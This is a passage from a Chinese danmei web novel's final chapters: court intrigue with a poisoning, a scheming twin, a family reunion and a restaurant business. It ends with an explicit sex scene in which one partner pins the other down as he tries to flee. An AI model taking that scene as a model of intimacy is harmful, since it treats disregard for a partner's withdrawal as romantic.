定安侯起初因为贺辞射出的袖箭感到愠怒,他本想不管不顾直接上前。
可目光触及贺辞的视线后,硬是停了下来。
直觉告诉他,如果今天真的阻拦,他会彻彻底底失去一个儿子。
贺州被揍了个半死,他想还手,却被死死压制,手臂都抬不起来。
揍人的时候,对着那张熟悉的脸,贺辞心里也有一种怪异的感觉。
总觉得是在揍自己。
他结结实实的把贺州揍了一顿,那些恶心的信也全部留在侯府,揉着手腕去找黎小鱼吃好吃的。
到了黎家,贺辞悄摸的翻墙进去。
他敲敲黎小鱼的后窗,黎小鱼给他开窗。
贺辞手一撑,人就翻了进去。
“小鱼,我肚子饿。”
黎小鱼道:“等着。”
他从厨房的灶台锅里端出几碟子菜,用托盘放好,端去屋里。
贺辞有黎小鱼陪着,美美的吃着自己爱吃的菜。
边吃边和黎小鱼说贺州,“我没想到竟然和我那么像,小时候长得一样,长大后还是一样。就是比我瘦,比我白。哦,他头发是直的,我是弯的。”
黎小鱼按着贺辞说的想象了一下,但最后都是直发版贺辞。
……
三日后,黎九章的人根据密信提供的消息,终于查到了眉目。
他当即调动更多的人手,以进山剿匪的名义深入探查。
江渚松察觉到事情不对,深夜时将自己关在书房,翻箱倒柜的找到一枚小印章。
他小心的把印章放在桌上,开始磨墨准备写信求救。
不能再拖了。
咚咚———咚咚咚———咚。
门外传来规律的敲门声,江渚松提起的心稍微放下,连忙开门。
外面的黑衣蒙面人闪身进门,江渚松快速把门关上。
回头的时候,蒙面人摘下来了面罩,露出一张面白无须的脸。
“赵公公,您怎么亲自来了!”
“奉陛下的命去侯府宣旨,顺便来看看你。”
赵公公扫视四周,视线落在桌面上,“准备给公公我写信?”
“是是是。”江渚松腰背弯下,恭敬的请人入座。
等赵公公坐下,江渚松就开始卖惨哭诉。
“公公,我看这情形黎家是要起来了。当年黎九章孤身来辞州,我寻思着陛下厌弃了他,所以做了些过分的事。”
“这黎九章又是个驴脾气,认死理死犟,他得势之后千方百计的找我错处罪证,如今查到的东西越来越多,我再不走怕是走不了了。”
赵公公安静的听江渚松说着,等江渚松说完,他从袖中掏出一个小瓷瓶,递给江渚松。
“喝了它,就没有烦恼了。”
江渚松刚因好奇接过,听到这话吓的一松手,瓷瓶摔的一分为二,深褐色的液体流在擦拭干净的地板上。
“毛手毛脚的做什么。”赵公公又掏出一瓶,“好在本公公还有。”
江渚松却不敢接,这可是毒药,哪里能接啊!
“赵公公这是想卸磨杀驴?”江渚松抖着手难以置信道:“我贪的那些银子,分了那么多给公公,难道公公还觉得不够?不足以换我这一条命?”
赵公公斜了江渚松一眼,老神在在道:“人的欲望变大后,往往都会害死自己。江大人,你老实说,你年年报给本公公的银钱,真的没有往低了报吗?”
江渚松眼皮一跳。
头几年来辞州的时候,经过多方的牵线搭桥,送了不知多少人的礼,江渚松终于与陛下近侍赵怀搭上关系。
他许诺每年会按着所得银钱的七成奉上,求对方庇护。
因为江渚松给的足够多,那边回信也很快。
再提一成就答应。
八成,狮子大开口,恨不得把他贪的那些全都吃进去。
但江渚松还是同意了,只有上了这条船,他才能在辞州安稳的当土皇帝。
可是谁能嫌钱少呢,江渚松也想要更多的钱。
尤其是黎九章来之前的两年,百姓那已经压榨不出更多了。再分八成出去,到他手里一共才几个子啊?
江渚松开始谎报金额,说他收的本来就少,百姓被压榨这么多年,还能保持前几年一样多的银子也不可能。
江渚松尝到甜头,以为赵怀困在京城,根本就不可能知道他贪的到底多少。
但今日听这话音,赵公公还是知道了。
所以来找他算账。
“赵公公,你饶我一命,我下次再也不敢了,我给九成,不,我全给公公。”
江渚松吓的扑通一声跪地祈求,他不想死。
赵公公摇头轻叹,觉得这人实在是蠢,临死了谁要杀他都不知道。
“江大人啊,公公我成天在皇宫里待着,又无儿无女无父无母的,要这么些钱做什么呢?你当真以为,那么多银子年年运去京城两次,没有被发现是你藏的好?”
“骗公公我一个太监,那没什么。求求我,心一软也能放。”赵公公指了指上面,“可大人你骗的是那位,不是公公我啊。”
赵公公说的含糊,江渚松已经一身冷汗。
他瞪大了眼睛,惊恐又绝望。
是陛下要他死。
他逃不掉了。
江渚松好不容易回神,哭着拽紧赵公公的衣摆哀求,像是抓着救命稻草,“公公,我家地下还有二十几箱的金银珠宝,求公公救救我的家人。”
赵公公微微一笑,将瓷瓶打开弯腰递过去,“本公公尽力,这药,你得先喝。”
江渚松看着瓷瓶,浓郁的药味让他头皮发麻。
求生本能让他下意识摇头,“公公,朝廷命官突然服毒自杀,怕是会引起争论猜测。你留我些日子,我……”
“不会。”赵公公掐住江渚松的下巴,修长手指像是铁钳,捏的江渚松觉得自己下巴骨头要碎了。
他挣扎着要动,拼死闭紧嘴巴,却抵挡不住赵公公的力道。
“江大人,你会因为藏私兵铸兵器企图谋逆,被黎大人发现后,畏罪自杀而死。”
咕噜。
药液倒入口中,江渚松喉咙将其往外推,整个嘴巴已经苦的要失去味觉和触觉,但只坚持了瞬息,药液便不受控制的吞咽了下去。
赵公公喂完药,把人松开。抽出帕子慢条斯理的擦手,冷冷的看着倒在地上抱着肚子抽搐的江渚松。
没一会,江渚松七窍流血,暴毙而亡。
赵公公用帕子裹着手,蹲下身给江渚松的睁圆的眼睛闭上。
“君要臣死,臣不得不死。江大人,陛下厌恶欺骗,已经不想再容忍你多活一日,所以安息吧。”
确认江渚松已死,赵公公蒙上面,飞身离开江府。
他知道江渚松尸体上下巴处的淤痕会是破绽,但无人会怀疑动手之人是早已出城离开的宣旨内侍。
这案子注定是个悬案,就交给黎九章头疼去吧。
黎九章也没想到,他刚查到江渚松私自制作兵器的深山,就收到了江渚松服毒自尽的消息。
根据仵作验尸,下巴处的淤痕像是被人掐过。说是服毒自尽但更像是被人灌了毒药。
一把手死了,现在辞州文官黎九章最大。
他需要查清案子,将江渚松生平有牵连的人都查了一个遍。
最后没查出凶手,又揪出一堆的贪官污吏,全都下了大狱。
江渚松的死成了悬案,背后有一只在遮掩着,黎九章拨不开迷雾但他心中隐约有猜测。
因为那封突如其来的密信,甚至还有之前突然又暗中联系他,给了他不少江渚松贪赃枉法信息的人。
能知道江渚松藏兵制作兵器地点的,一定是与江渚松熟识,甚至可以说就是江渚松背后撑着他的人。
他一介文官,养那点私兵又能干什么?
怕是一切都是背后之人的算盘,诱导江渚松这样做,后面再以此为由除掉他。
黎九章有些疲惫,权势手段都让他心中无力。
当初就是不想站队,才被丢来辞州这鬼地方。
结果最后还是被利用,除去了想除掉的人。
并非是可惜江渚松死去,他该死,但他应该按着律法判罪,而非处以私刑。
黎九章心知找不到凶手,他在一个月后选择尘封江渚松的案件。
而江渚松的家人,因为他的其他罪名被连累,尽数下了大狱,由大理寺做最后判决。江家抄家抄出了三十多箱金银珠宝,尽数入了国库。
辞州已经七月,江渚松的死和江家人下狱没有让辞州添一点阴霾,甚至大街小巷都在拍手称快。
盛夏四处可听蝉鸣,孩子们拖着长竹竿,上面粘着一点面团,去树下围着黏知了吃。
他们不清楚江渚松在位时的苛捐杂税,只知道这两年他们吃肉的次数比以前多多了。
现在黏的知了,回家后都能用油煎一下,然后撒盐吃。
以前都是直接烤了就往嘴里塞,别说油,盐都舍不得放一点。
黎小鱼在厨师学院的凉亭里面包饺子,脚边放着两个冰盆解暑。
他爹娘到现在还没缓过来,贺辞每天等的望眼欲穿,黎小鱼只能多做些他爱吃的东西哄哄他。
猪肉糜打的细腻,每个饺子里塞一整个去了虾线的虾仁。
做起来比较费事,不过贺辞爱吃。
亭子里突然来人,黎小鱼忙着包饺子,快速抬头一瞥,又收回视线,“你先坐一下,马上就好。”
来人直接坐在黎小鱼边上,撑着头似笑非笑的看着他。
黎小鱼手上动作一顿,他好像认错人了。
为了证实,他抬头一看,映入眼帘的是与贺辞一般无二的脸,更瘦更白,且头发并没有卷曲。
对方咧嘴一笑,“嫂子好啊。”
黎小鱼皱眉,“贺州?”
贺州点头,笑的温和无害,“嫂子怎么不欢迎我的样子?刚刚明明还笑了,是把我认成我哥了?”
“你来这干什么?怎么进来的?”黎小鱼反问道。
贺州摊手,“门口的人好像也把我认成我哥了。”
说完又凑近黎小鱼,带着明显的调笑,“我来这挖墙脚啊。我哥喜欢的我都要,爹娘现在都是我的了,嫂子……”
“嘶,疼疼疼!”
黎小鱼手上的面粉沾在贺州的下颚,他用力掐着贺州,冷声道:“你要是不会说话,我不介意帮忙卸掉你的下巴。”
贺州神色痛苦,拍拍黎小鱼的手,点头示意他知道了。
黎小鱼这才撤回,用帕子擦手。
贺州摸着下巴,嘶了好一会。他刚养好伤出来,结果刚出来就又受了伤。
这两人力气怎么都牛一样的大!
黎小鱼道:“贺辞待会要来,你要是不想被揍,现在可以离开。”
“没事,我来找他有事。”贺州又恢复了人畜无害的笑容,他盯着桌上的饺子,看了一眼馅料。
“呀,鲜肉虾仁饺子,我也爱吃。”
黎小鱼用手一挡,“你爱吃去别处吃,这里没你的份。”
“这么凶干什么,我是来找我哥合作的。”贺州笑眯眯的,“我想早点当定安侯,要是找我哥帮忙把我爹从爵位上弄下来,你说我哥会同意吗?”
黎小鱼微愣,他看向贺州以为他在看玩笑。
可对方那样子似乎没有……
“不会。”黎小鱼回道。
贺州有些可惜,“我猜也是,不过要是嫂子替我求情,我哥一定会同意的。嫂子你要不帮帮我?想要什么好处,我都能给。”
黎小鱼看一眼贺州,“你真是病的不轻啊。”
被说了的贺州浑不在意,“是啊,从娘胎里就病着呢。”
黎小鱼懒得搭理,准备把人赶出去。
贺州丧着脸,“嫂子就这么不欢迎我?好歹我也是和我哥一母同胞的兄弟。”
不说这个还好,一说黎小鱼就忍不住想发火。
“你还知道你们是一母同胞的兄弟?你知道还那样诅咒贺辞?看他心软善良可尽的欺负他?定安侯夫妻二人会被你蒙骗,我不会。”
黎小鱼拽着贺州的后领子,拖着人就走。
贺州倒退不方便,走的踉踉跄跄的,双手还得护着脖子,省的被黎小鱼给勒死。
“再敢出现在我面前,别怪我不客气!”
黎小鱼把人丢出去,看的门房一愣一愣的。
这是吵架了?
正想着,就见院长气呼呼的走来,眼圈微红,“这人不是贺辞,是他的双生兄弟贺州。记清楚样子,以后别放进来。”
门房知道是自己看错眼放了不该放的人进去,连忙告罪,仔仔细细的打量了贺州,把模样给记下。
等贺辞来的时候,黎小鱼已经包好剩下的饺子,准备下锅煮。
“贺州被你扔出去了?”
他进来的时候,门房抓着他看好一会,和他说了这事。
黎小鱼提到贺州就不高兴,“嗯,来撺掇你一起对付定安侯。”
贺辞轻笑一声,“猜到了。”
他从黎小鱼手里接过勺子,“这里热,往边上站站。”
黎小鱼听了贺辞的,往边上站然后给贺辞扇风。
“怎么猜到的?”
贺辞搅动着锅里的饺子,防止粘锅破皮。
“他从小性格就是睚眦必报,受不了一点委屈。我算走运留在辞州,他因此记恨觉得不公平,想着法子要夺走或是销毁我在意的人或物。但把他送去京城的人,终归不是我。”
黎小鱼听懂了,“以贺州的性子,会报复定安侯夫妇?”
“嗯,不过不会出人命就是。让他们三折腾去吧,懒得搭理他们。”贺辞盯着锅里饺子,蒸腾的热气让他一脑门的汗,神色倒是放松,没有焦急忧虑。
是真的不想管,随他们三人去。
“那贺州会不会……”
黎小鱼凑近许多,悄声的对着贺辞的耳朵问:“谋反?”
贺辞手上动作不停,“会,所以陛下给我足够的军权就是为了压他。”
黎小鱼张张嘴,贺州还真是疯的挺彻底。
贺州被黎小鱼扔出去过一次后,再没去过厨师学院。
不是因为要脸,是因为贺辞派人把守,他靠近就直接拔剑。
他也去找过一次贺辞,结果被贺辞打了一顿丢出去,顶着鼻青脸肿的一张脸,回去颠倒黑白找定安侯夫妇哭诉。
再次将夫妻二人与贺辞之间的距离,拉的更开一些。
贺州在暗处欣赏着父母为他生贺辞气的模样,他唇角微扬,隐忍着笑。
气吧,越气越好,最好彻底厌恶了贺辞,以后连向他求救的念头都不敢有。
转眼又是中秋,辞州的温度低了不少,冰盆已经可以撤下。
黎九州和周珍娘坐在屋里,商量着见未来“儿媳”的大事。
他们此前从黎九章那知道了贺辞为了和黎小鱼在一起,放弃了很多。
更是为了军功,连命都不要。
这样浓烈的感情,即便是他们,心里也是为之动容。
可那毕竟是他们从小宠爱到大的孩子,他们不想孩子背负着骂名。
因此这段时间一直保持沉默,实际上在暗中观察。
他们知道孩子喜欢男子后,打听到一个消息。开药铺的袁家家里最小的那个儿子,也曾和一个大官家的儿子在一起。
当时外面都传是袁家小郎君不知廉耻,勾引好儿郎。
虽然好儿郎误入歧途一阵子,但最后还是幡然醒悟,与袁家的那小郎君断了联系,听说没多久就娶妻。
不过袁家的小儿子,则是去了乡下老家,娶没娶妻就不知道了。
黎九州夫妻二人,那时候都准备叫贺辞去家里吃饭,突然听到这个,吓的决定再多观望一阵子。
这一观望,就从初夏到了秋。
他们发现,好像没有人嚼他们家小鱼的舌根子。
至少明面上,没人敢说。
夫妻两想的没有那么的深,他们没有意识到,贺辞和黎小鱼,与陆十七和袁幼不同。
他们头顶没有强权的父母压着,这也是贺辞拼了命努力周旋,还有黎小鱼起早贪黑忙着做大生意,共同努力来的结果。他们各自也有足够的能力,让乱说话的人闭嘴。
除此之外,贺辞早就通过凌少卿的嘴,和书院那些学生们说了,是他主动招惹的黎小鱼,甚至告知了陛下。
凌少卿知道贺辞的意思,这是为了他师父好,竭尽全力的在书院里散播。
学生们大部分都是权贵子嗣,回府后话这么一传,大家都知道了。
是贺辞招惹人家,竟然还闹到陛下眼前。
陛下的态度是给贺辞升官给贺辞更高的军权,没有说他一句不对。
连陛下都不说,他们凭什么说?
这下大家都把嘴闭的紧紧的,可不敢乱嚼舌根子。
而市井百姓,大部分忙活着自己的日子,哪里操得了大人物们的闲心。
眼看中秋,黎九州和周珍娘二人一合计,等十五那天,就把贺辞叫家里来吃饭。
那孩子也可怜,爹娘偏心小的,一点也不疼他。
黎小鱼这些日子里,也没少帮贺辞在他爹娘面前示弱卖惨。两口子听着心里也心疼着呢,哪有爹娘心眼偏成这样的!
在知道爹娘终于同意正式见贺辞后,黎小鱼第一时间将消息告诉贺辞。
听到消息的贺辞激动的抱着黎小鱼满院子转,把黎小鱼都给转晕了。
“我终于要有名分了!”
【终章】
第80章 第 80 章
在知道黎小鱼喜欢男人的第二天, 黎九州夫妻二人就去隔壁婶子家里说了不再相看。
这本就是合适就继续,不合适就看别的。邻居婶子也没有不高兴,笑着说没事。
倒是周珍娘过意不去, 给人送了些糕点。邻居婶子也给了些回礼, 虽然没有甜品铺子的糕点值钱, 但也是她用了好食材做的。
中秋这日, 贺辞一宿没睡着。一大早就带着车队晃悠悠的到了黎家小院。
黎九州夫妻两起的早, 也就小猫儿和黎小鱼兄弟两会睡一小会懒觉。
听到外面有不小的动静,似乎围着人, 二人好奇开了门探头去看。
正好和贺辞撞个正着。
“黎叔叔, 周婶婶,我来过节。”
贺辞脸上挂着黎小鱼紧急培训出来的笑, 拉到铺子里做伙计, 能合格的程度。
黎九州夫妻二人看着贺辞嘴角一抽一抽的, 心想这孩子肯定又紧张了。
周珍娘受不了孩子没大人疼,她每次听黎小鱼说贺辞在家里亲娘都不关心他, 这心里就不是滋味。
她把贺辞拉进来, 温声道:“你在堂屋先坐坐, 小鱼马上就能起来。早饭吃过没?没吃我们一起吃。有没有忌口的?”
一路上周珍娘一直在问,贺辞听着心里暖洋洋,一一回了她。
听到贺辞说不喜欢吃葱花,周珍娘笑了一声, “哟,小辞你也不爱吃葱花啊, 我也不太喜欢那味道。他们爱吃的吃不出来, 我吃进嘴里总觉得冲。”
贺辞跟着一起笑着点头,紧绷感缓解了大半。
他带了不少的节礼, 将士们抬着箱子鱼贯而入,把黎家小院的空位,堆了大半,不知道的还以为他是来下定。
“你说你来就来,带这老些东西干啥。”黎九州是真的觉得破费,怕孩子乱花钱自己没钱用。
好好的孩子爹不疼娘不爱的,自己赚点钱哪里容易?
黎九州越想越觉得不能要贺辞这些东西,“回去时候带回去,留着自己花。”
贺辞感受到黎九州的好意,不是嫌弃或是扫兴,他起身扶着黎九州过去坐。
“黎叔叔不用担心我没钱用,我月俸挺高。还有陛下的赏赐,多的几辈子都花不完。”
听到贺辞这样说,黎九州这才点头,不过还是觉得送的东西太多了。
这孩子怎么看着唬人,心眼这么实呢。
“那你现在住哪啊?”黎九州找个话头聊了起来。
贺辞有问必答,“住之前我买的一个小院子,不过陛下给我赐了单独的将军府。现在还在修葺,要等明年春才能入住。”
“那你家里那边后头咋打算啊?”黎九州问完也觉得自己冒昧,但为了儿子他这当爹的得问清楚。
“后面还回去不?你爹娘不能欺负我家小鱼吧?”
贺辞摇头,“不会回去了,以前想着浑浑噩噩过一天是一天。后来遇见小鱼,就不这样想了。他们欺负不了小鱼,我会好好护着。”
虽然口说无凭,但人真心实意的在面前保证,心里还是会有偏向。
黎九州对贺辞的回答比较满意,“你以后做小鱼媳妇,就是我黎家男儿媳妇。我和你周婶婶,就是你新爹娘,以后尽管来家里,都不是外道人。”
“不过有一点可说好,可不能对不起我家小鱼。不然就是拼了一把老骨头,也得找你算账。”
贺辞得到认可,压着心中狂喜,笑着点头答应,“我知道。”
自从贺辞中秋正式见过了家长,他隔三差五的就往黎家跑。
周珍娘干脆在家里又收拾出一间空屋子,专门给贺辞住。
本来空荡荡的院子,一家三口住着。经过这些年,除去贺辞住的,就还有一间空着。
家里多了一个人,虽然三五天才来一趟,毕竟贺辞军营也有事物要忙。但还是能感觉到,家里热闹了很多。
小猫儿和贺辞熟悉后,他远大的赚钱目标,又变成了当大将军。
然后在一个大早上,爬起来扎小马步。
结果扎完的第二天,腿酸疼的走不了路,给孩子吓得以为腿坏了。
还是黎小鱼哄半天才相信腿没坏。
后面又继续扎,有天早上贺辞正好看见,和小猫儿说了一早上的话。
第二天小猫儿就又老老实实的去学算账,还是决定要做生意。
黎小鱼问贺辞和小猫儿说什么了,贺辞说:“没说什么,给他看了看我身上的伤,告诉他当大将军会死会受伤,家人会难过。”
“然后呢?”黎小鱼问道。
贺辞想了一下,笑了起来,目光都变得柔和。
然后那孩子就一脸严肃又心疼不忍的对贺辞说:“家里为辞哥哥难过就够了,猫儿不想大家再为我难过。不开心的时间多了,开心的时间就会少。猫儿想大家都开心多一点。我不当大将军了,要赚好多好多钱,让穷人,乞丐都能吃饱饱的饭!让大家都开心!”
贺辞将小猫儿的话复述一遍,黎小鱼微微一笑,“是猫儿会说出口的话。”
辞州秋季过的很快,转眼就入冬下雪。
互市那边美食城派人传了消息过来,说看到一个老爷子,和黎小鱼要找的人差不多。
人已经在路上,要不了几天就能到。
信来的比人快,黎小鱼将信给他爹娘看了一遍。
这么多年,他一直没有放弃替猫儿找爷爷。
黎九章和黎长清也都在暗中帮忙找人,黎小鱼对每一个在厨师学院学习的学生们,都说了老爷子的特征,给他们看了画像,让他们留意一下。
功夫不负有心人,终于是找到了。
这消息暂时先瞒着小猫儿,没让他知道。
怕万一不是,让孩子空欢喜一场。
五日后,黎家小院来了四人,其中一人背佝偻着,白发苍苍,瘦骨嶙峋。
黎小鱼上前认人,其实与当年有不小的差别,更瘦,更苍老了。
但每一处特征都能对上,否则他还真认不出来。
“恩人!”
老爷子眼睛不太好,看黎小鱼好一会才看清,是当初救他和孙儿的大恩人。
他要下跪道谢,被黎小鱼拉住。直接把人扶着进屋去,心里的石头落地,人终于找到了。
小猫儿被贺辞带出去玩,为了先避一避,万一不是也不用撞见,触景生情。
他回来的时候,一只手拿着糖葫芦,一只手握着小风车。
脑袋上还带着虎头帽,两边耳朵被多出来的部分笼罩在里面,穿的圆滚滚的。
蹦蹦哒哒回来后,就看到堂屋坐满了人。
他看到陌生人有些害怕,哒哒哒的跑到让他最有安全感的黎小鱼身边。
“猫儿,看那是谁。”黎小鱼指着老爷子的方向,让他看去。
小猫儿看着看着,手里的糖葫芦和风车再也握不住,大眼睛里蓄满了泪水,呜呜哇哇的跑向老爷子要抱。
哭声震天响,“爷爷!”
老爷子看着干干净净,养的像年画娃娃一样好的孙子,想抱又怕把孩子衣服弄脏。
他羞愧难当,又实在抵不住思念,蹲下身搂着孩子老泪纵横。
这辈子还能再见孙儿一面,他死也瞑目了。
老爷子身体不好,长期吃不饱穿不暖的。他现在身上穿的还能看,那也是因为黎小鱼的学生给他穿的衣服。
刚碰上的时候,衣不蔽体,都快要冻死了。
因为身体虚弱,这会情绪激动,哭一会直接晕了过去。
小猫儿吓的不轻,以为刚见到爷爷,就又要永远失去爷爷,眼泪哗哗的淌。
黎家请来大夫,把脉后说老爷子现在没什么大碍,心情大起大落,年纪大受不了才晕。
不过他身上病症不少,好好养着,能有个三五年的日子。
再多,怕是就不行了。
这些话,没有让小猫儿避开。他心里也知道老爷子活不久了,让他有个底也好。
老爷子在黎家住下了,小猫儿把他这几年积攒的所有零花钱,压岁钱全部拿出来,给了当家作主的黎小鱼。
这些钱黎家人给的时候就说了,完全属于小猫儿支配,他想干什么干什么。
小猫儿除了会买些零嘴吃,在家里人生日的时候买好些的礼物送出去外,他啥也不干,就攒着。
这次终于是给他找到了新用处,“哥哥,爷爷的住宿钱,吃饭钱。”
说着又觉得这样不太好,补充道:“我以后自己赚更多钱给哥哥,现在可以拿零花钱,压岁钱替爷爷给吗?”
黎小鱼没有拒绝,收了小猫儿心里才能安心。
“可以。”
小猫儿笑的露出牙来,“谢谢哥哥!”
“快去看爷爷去吧。”
黎小鱼把钱匣子收好,黎家养的起一张嘴,现在小猫儿是他的家人,家人开心最重要。
黎家小院最后一间空房也住满了。
唐老爷子年纪大是大,但他其实会做些草编活。不过因为流浪行乞,每次辛苦做点草编,都会被抢走,根本挨不到他卖。
后面索性不做了。
他来黎家,也不想白吃白住,身体好些就又捡起了草编的活干。
冬日没有鲜草,他将干草浸透水,一样能编的很好。
黎小鱼给他提供了卖草编的摊位,老爷子有个能营生的活计,精神头越发的好。
转眼又是新年。
赵怀钰依旧去定州陪三儿子,黎九章来了黎家小院。
家里多了贺辞和老爷子,今年过年,比往年更热闹。
不过最热闹的还属于黎小鱼的生辰这日,除了亲人们以外,相识的好友们也全都来了。
二十岁这年,黎小鱼头上插着一根鱼形发簪,华丽精致。与贺辞左耳上的漂亮的蓝色鱼形耳饰一看就是配对的样子。
凌少卿,柳玉攀,祁雾还有邵怀筠四人的目光齐刷刷的盯着两人的饰品看。
柳玉攀最藏不住话,“你俩能成亲不?能成赶紧成,别和陆十七还有袁幼一样。”
说完就被凌少卿锤了一拳,“说什么呢!”
贺辞见柳玉攀被锤,便没有自己动手。柳玉攀不知情的情况下,躲过一劫。
他揉着手臂,不满的反驳凌少卿,“我不是担心他们吗?”
“那也不能这样说啊。”
“那要怎么说?”
兄弟两又开始拌嘴起来,邵怀筠给了黎小鱼一个盒子,“南地十城,各两间铺子的契书,帮你搞定了。”
黎小鱼惊喜接过,“谢谢,这礼物我喜欢。”
邵怀筠嘴一翘,“咱两谁跟谁。不过这不算礼物,给你的礼物是单独的两间铺子地契,还是连着的。”
他自从跟着黎小鱼开罐头工坊后,钱真没少赚。他愿意花心思花钱给黎小鱼备礼。
黎小鱼很满意,这真是送到他心坎上。寻思今年邵怀筠生日,也给他备个大的。
送完礼后,邵怀筠问了一直以来都想问的问题,“我记得你当时说果子除了罐头外,还能做果干。咱们啥时候弄个果干工坊?果源你放心,要多少我都能给跑下来。”
黎小鱼去年听了他大伯父的话,停下来稳定一下基础。如今一年过去,差不多是该更进一步了。
“开春后。”
邵怀筠面色一喜,“成!”
祁雾给黎小鱼送了玉,是一对,能拼在一起。
贺辞凑过来一看,对祁雾投去赞许的目光。
然后就盯着黎小鱼不挪眼,黎小鱼哪不知道贺辞心里想什么呢,当即把玉的一半取出,塞他手里,“收好了。”
贺辞笑道:“知道。”
“啪———”
空中炸开烟花,黎小鱼仰头看去。
他问贺辞,“你叫人放的?”
贺辞点头,“嗯,以后每年都给你放。”
……
开春之后,黎小鱼投入了他的事业。现在来厨师学院的学生越来越多,各地都有。
互市外商那边要不是黎九章压着,他们也早就派人来学了。
新一批的学生进来,上一批学成的分散各地。
厨师班的学生们接受外派,坐邵家的船去富庶的南地十城。
黎家小饭馆,开始在大俞各地开分店。
都说强龙压不过地头蛇,去南地的学生们,到了地方就在小饭馆门口挂了个牌子。
上面写着厨师学院的招生简章。
同时也给同行们传递一个信息,要是觉得他们这的菜新奇,怕被抢了生意,那就去辞州学。
托邵家商船这两年帮忙宣传,南边对厨师学院也有所耳闻。
一看新开的饭馆树起来的牌子,想打压打压的心思都歇了不少。
一道菜的菜谱,对于厨子来说是最金贵的。
真要是能去辞州学来,那搞不好就是师父开的铺子。
他们要是敢对师父开的铺子动手,这和欺师灭祖有什么区别?
嗯,不能动手。
在铺子开业后,不少餐饮人直接去饭馆里尝了菜的味道。
尝完之后,几乎都收拾收拾行囊,准备踏上拜师学艺之旅。
加上路程,左右不过四个月,学!
除了厨师技术学院外,和邵怀筠新合作的果干工坊也提上了日程。
邵家人看黎小鱼就和看财神爷一样,恨不得把他供起来。
定州那边黎长清收到黎小鱼要开新工坊的消息,连夜写信,叫人快马加鞭送来。
信的内容很简单,他也要弟弟出点子,开新工坊,给弟弟分成。
黎小鱼想了一下,给黎长清写了做芝麻糊和奶粉的方子。
收到弟弟的帮助,黎长清二话不说开始动工。
定州的商人们听到风声,都没要黎长清开口,连夜排队送银子。
黎大人,赚钱的事带带我们啊!
京城的调令这时候也下来了,黎九章要接替江渚松的位置。
而他的位置由下面的人直接接替,后面依次往上。
京城那位意思很简单,黎九章不出意外,要在辞州干到老。
但黎长语和黎长清兄弟二人,却会得到重用。
黎九章对此接受的很快,也觉得这样挺好。辞州现在也在往好的地方发展,后面一定会越来越好。
他愿意用尽一生,带领辞州走向繁华。
不同于黎家这边蒸蒸日上,侯府可谓是灾祸连连。
眼看着公主就要嫁过来,夫人和侯爷竟然双双病倒,只能躺在床上。
贺辞收到了二人生病的消息,没去看。
别人不知道,但他清楚,哪里是病啊,明明是中毒。
他爹身体壮的像牛,他娘虽然身体不好,但是也从没病的下不来床过。
是贺州对二人动手了。
既然都躺着不能动,贺家当然就是贺州说了算。
贺辞才不要去趟浑水,既然觉得贺州好,那就让乖巧懂事的贺州,好好伺候他们吧。
反正贺州不可能把人杀掉,让他们躺着不能动弹,是他唯一能用的手段。
十五公主到辞州,已经是夏季。
她从小娇生惯养,刁蛮任性,公主脾气不是一般人能受得了。
进了侯府后,一个人把侯府搅到鸡飞狗跳。贺州也拿她没办法,一个头两个大。
贺辞就更不敢去了,他可不想因为左脚踏进门这种理由,惹的公主不快,被按着教训。
因为定安侯病了,他的军务大部分都落在贺辞头上,他回去的时间又延长许多。
将军府早就修葺好,但贺辞没有去住过。太大了,人住进去空荡荡的,像在无际的海里,没有安全感。
虽然他不好多回去,但他现在职位高,权利大,给了黎小鱼一块出入军营的令牌,黎小鱼可以来军营。
他们在军营的,比在家里更自在一些。
不是家里不好,实在是家里爹娘都在,哪怕不在一个屋,也不敢多亲近。
黎小鱼每次来都会带贺辞爱吃的吃食,这次也不例外。
“鲜肉虾仁饺子?包了多久?”贺辞边吃边问。
黎小鱼道:“没多久,对了我来的时候路过侯府,看到贺州被关门外了。”
贺辞咽下口中虾仁,“公主关的。”
黎小鱼想到十五公主,不由得打了个寒颤,此女子战力极强,“俗话说,一物降一物,当真是不假。”
贺辞饺子吃完,洗漱一遍后,把黎小鱼捞起来抱在怀里。
“嗯,确实不假。现在,到了宝贝小鱼降服我的时候了。”
黎小鱼搂着贺辞的脖子,想到接下来的事情,脸色通红。
他趴在贺辞的肩上,小声道:“你别这么说,羞不羞?”
贺辞喉间溢出一声轻笑,“我不知羞。”
军营的床榻,贺辞用心弄的很软,他的小鱼睡不了硬床。
黎小鱼被贺辞放在软垫中,微微陷下去。贺辞口勿他颈间,顺手解开他白勺衣带。
熟悉的清新香气涌进鼻尖,贺辞声音沙哑,“洗过澡了?”
“嗯。”黎小鱼人都要红透了,颈间微微泛粉。
“我也洗过了。”贺辞呢喃低语后,往上黎小鱼柔软红粉的唇。
天边泛起鱼肚白黎小鱼声音虚弱,艰难的伸出带着薄肌却白皙的手臂。
五指紧紧抓着床上铺着的床单,哭的脖子胸口全是水痕。
说话断断续续,甚至还有吞掉的字音,“贺辞,你骗子,说给我生孩子,你,我怎么,这,力。”
此时黎小鱼被密不透风的笼罩着,好不容易逃出去的那只手,也被贺辞伸手,覆盖着手背十指紧扣。
绝对的占有,圈禁在自己怀中。
黎小鱼还想说什么,谁知贺辞一直在忙活。也不知道忙活到哪了,黎小鱼某种情绪一上来,席卷全身无法控制,他突然仰头哭了起来。
贺辞听着黎小鱼的哭声,更兴奋了。他挑着黎小鱼的话听,嗓音低沉,“知道了,用力。”
黎小鱼嗅到了危险气息,拼命想跑,直接被扣着肩膀,按了回来。
外面天亮后,黎小鱼才昏沉睡去。
哭了一宿,眼都有些肿。
贺辞随便披了件衣服,弄布巾帮黎小鱼擦拭干净。处理完后,又给他敷眼睛。
贺辞躺在黎小鱼身边,把人抱在怀中,亲亲他有些红肿白勺唇。
爱你,永远。